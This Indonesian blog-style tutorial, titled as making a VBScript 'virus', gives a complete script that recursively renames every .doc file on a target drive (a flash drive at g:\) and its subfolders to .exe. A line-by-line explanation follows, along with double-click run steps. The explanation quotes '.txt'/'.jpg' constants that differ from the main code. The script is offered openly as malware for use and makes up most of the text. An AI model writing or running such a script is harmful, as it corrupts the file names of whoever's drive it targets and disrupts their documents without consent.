Buat Virus VB Script yang mengubah extensi .doc ke .exe

Virus adalah merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Posting kali ini saya akan memberikan tutorial membuat virus dengan mudah dengan VBScript.
Kenapa harus VB Script ? karena VB Script adalah bagian dari sistem windos sendiri jadi tidak perlu Compiler untuk menjalankanya. tinggal di beri triger untuk eksekusinya. virus yang kita buat ini tidak menyebar tapi memberikan effect untuk merubah file dengan ekstensi doc ke exe.

Berikut adalah hasil pembuatan script

1. Kerja program

Script ini akan bekerja bila di lakukan double klik, seperti halnya file vbs lain sistemnya sama , memanfaatkan fasilitas dari operating system microsoft yang sudah ada
Target program adalah mengubah file dengan extensi doc ke dalam exe
Target tidak secara keseluruhan di dalam komputer namun target ditentukan pada folder dan sub folder yang ditentukan . folder utama bisa juga berarti drive. Dalam hal ini saya memilih flasdisk yang terletak dalam g: maka secara keseluruhan akan merubah extensi di dalam flashdik tersebut.Code

2. Code

Option Explicit
     
Const CHANGE_FROM = ".doc"           
Const CHANGE_TO = ".exe"
     
Dim srcFolder
Dim objFSO, objFolder, oFolder
Dim colFiles

srcFolder = "g:\"

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(srcFolder)
Set colFiles = objFolder.Files

ChangeExtension colFiles
GetFilesFromSubFolders objFolder

    
Sub GetFilesFromSubFolders(objRootFolder)
 Dim oSubFolders, oSubFol
 Dim colSubFolFiles
  
 Set oSubFolders = objRootFolder.SubFolders
 If oSubFolders.Count > 0 Then
  For Each oSubFol In oSubFolders
    GetFilesFromSubFolders oSubFol
   Next 
 End If
 
 Set colSubFolFiles = objRootFolder.Files 
   ChangeExtension colSubFolFiles
End Sub

Sub ChangeExtension(collectionSet)
 Dim objFile
   For Each objFile In collectionSet
    If InStr(objFile.Name,CHANGE_FROM) Then
    objFile.Name = Replace(objFile.Name,CHANGE_FROM,CHANGE_TO)
  End If
   Next 
End Sub

3. Penjelasan code

Menyimpan string extensi yang akan di rubah dan penggantinya

Const CHANGE_FROM = ".txt"
Const CHANGE_TO = ".jpg"

Variable untuk menyimpan data folder dan target sub folder target

Dim srcFolder
Dim objFSO, objFolder, oFolder
Dim colFiles

Folder target. Dalam hal ini saya memilih flasdisk dalam drive g

srcFolder = "g:\"
Set object
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(srcFolder)
Set colFiles = objFolder.Files

Merubah extensi di dalam folder

ChangeExtension colFiles

Merubah extensi di dalam sub folder

GetFilesFromSubFolders objFolder

Procedure untuk Mendapatkan daftar file dalam tiap sub folder

Sub GetFilesFromSubFolders(objRootFolder)

Merubah extensi dari tiap file di dalam sub folder

ChangeExtension

Membuat variable

Dim oSubFolders, oSubFol
Dim colSubFolFiles

Mendapatkan folder utama

Set oSubFolders = objRootFolder.SubFolders

Memeriksa subfolder apakah ada isinya

If oSubFolders.Count > 0 Then

Mendapatkan data di dalam subfolder

For Each oSubFol In oSubFolders

GetFilesFromSubFolders oSubFol

Next
End If
Get the Files in the folder

Mendapatkan data dari folder

Set colSubFolFiles = objRootFolder.Files
Change Files Extensions in Folder

Memanggil procedure changeExtension

ChangeExtension colSubFolFiles
End Sub

Awal procedure ChangeExtention dengan parameter collectionSet

Sub ChangeExtension(collectionSet)

Membuat variable

Dim objFile

Mengoleksi setiap file

For Each objFile In collectionSet

Memeriksa extensi yang tersedia

If InStr(objFile.Name,CHANGE_FROM) Then

Merubah extensi sesuai dengan isi variable diatas

objFile.Name = Replace(objFile.Name,CHANGE_FROM,CHANGE_TO)
End If

Akhir dari procedure

Next
End Sub

4. Cara menjalankan

Buat File New Text Document
Tuliskan Code vorus diatas Kemudian Simpan
Ubah extensi dari Text Dokumen Tadi dari .txt ke .vbs maka gambar icon akan berubah
Double Klik Untuk menjalankan Script